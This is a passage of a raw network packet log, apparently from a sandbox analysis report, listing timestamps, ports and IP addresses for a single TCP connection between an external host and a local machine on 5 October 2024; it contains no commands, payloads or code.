Oct 5, 2024 14:33:07.941323042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941359997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941365004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.941420078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941463947 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.946805000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.946850061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.946897984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.946912050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.946950912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.946985006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.946996927 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.947021008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.947060108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.947067022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.947331905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.947381973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.958555937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958632946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958687067 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.958693981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958750010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958784103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958798885 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.958821058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958858013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.958868980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.964597940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964678049 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.964693069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964732885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964767933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964781046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.964804888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964838982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964855909 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.964878082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.964924097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.965182066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.965321064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.965356112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.965373039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.965394020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.965429068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.965434074 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.966018915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.966068983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.966073990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.966109991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.966140985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.966152906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.970616102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970671892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970676899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.970710039 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970743895 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970756054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.970782042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970814943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970829010 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.970854044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.970906973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.976587057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976639986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976676941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976690054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.976737022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976773977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976778030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.976809025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976845980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976850986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.976886034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.976924896 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.981909990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982054949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982091904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982105970 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.982206106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982244968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982266903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.982280970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982317924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982331991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.982731104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.982780933 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.991344929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991419077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991472006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.991478920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991517067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991550922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991560936 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.991585970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991626978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.991626978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.991986036 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992093086 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.992104053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992135048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992176056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.992208004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992243052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992278099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992291927 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.992312908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992343903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992364883 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.992690086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992726088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992743015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.992759943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.992805958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.999291897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999341965 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999381065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999418020 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.999470949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999506950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999515057 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.999546051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.999587059 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.000531912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003712893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003776073 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.003782988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003822088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003876925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.003911018 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003945112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003978968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.003998041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.004014015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.004048109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.004065990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.008270979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008313894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008331060 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.008373976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008410931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008420944 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.008446932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008482933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008487940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.008519888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.008558989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.008737087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.011862040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.011905909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.011914968 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.011966944 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.012002945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.012013912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.012038946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.012073994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.012087107 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.012110949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.012156963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.012183905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014358997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014477015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.014501095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014539003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014585972 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.014656067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014692068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014727116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014733076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.014795065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014828920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.014837980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.019501925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019566059 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.019573927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019613981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019649029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019660950 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.019685984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019720078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019733906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.019758940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019788980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.019804955 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.022269964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022330999 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.022358894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022397041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022439003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.022485971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022521019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022556067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022562027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.022591114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022624969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.022629976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033226967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033271074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033293962 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033308983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033345938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033358097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033380985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033417940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033427954 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033457994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033503056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033813000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033854961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033889055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033904076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.033926964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.033970118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.034303904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.034337997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.034373045 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.034387112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.034401894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.034449100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.050992966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051042080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051079988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051099062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.051119089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051160097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.051243067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051276922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051311970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051325083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.051348925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.051399946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.052005053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052053928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052088976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052103996 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.052129984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052175045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.052265882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052301884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.052345991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.053548098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053662062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053693056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053714037 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.053843975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053878069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053904057 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.053911924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053950071 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.053956985 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.054343939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.054400921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.061206102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061358929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061392069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061419010 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.061446905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061482906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061496019 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.061521053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061556101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061561108 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.061822891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.061881065 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.068279028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068324089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068372965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.068383932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068449974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068484068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068500042 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.068521023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068558931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068568945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.068897009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.068948030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.077783108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.077841043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.077883005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.077940941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.077977896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078013897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078044891 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.078053951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078094959 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.078618050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078670025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078696012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.078707933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078764915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.078767061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078803062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078843117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.078872919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.079176903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.079214096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.079240084 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.089334011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089436054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.089446068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089481115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089531898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.089592934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089632034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089667082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089679003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.089703083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.089755058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.090377092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090450048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090486050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090509892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.090521097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090559959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090580940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.090590954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090632915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.090898991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090936899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.090985060 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.097923040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.097973108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098009109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098043919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098057032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.098089933 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.098104000 CEST	3752	49730	147.45.126.71	192.168.2.4
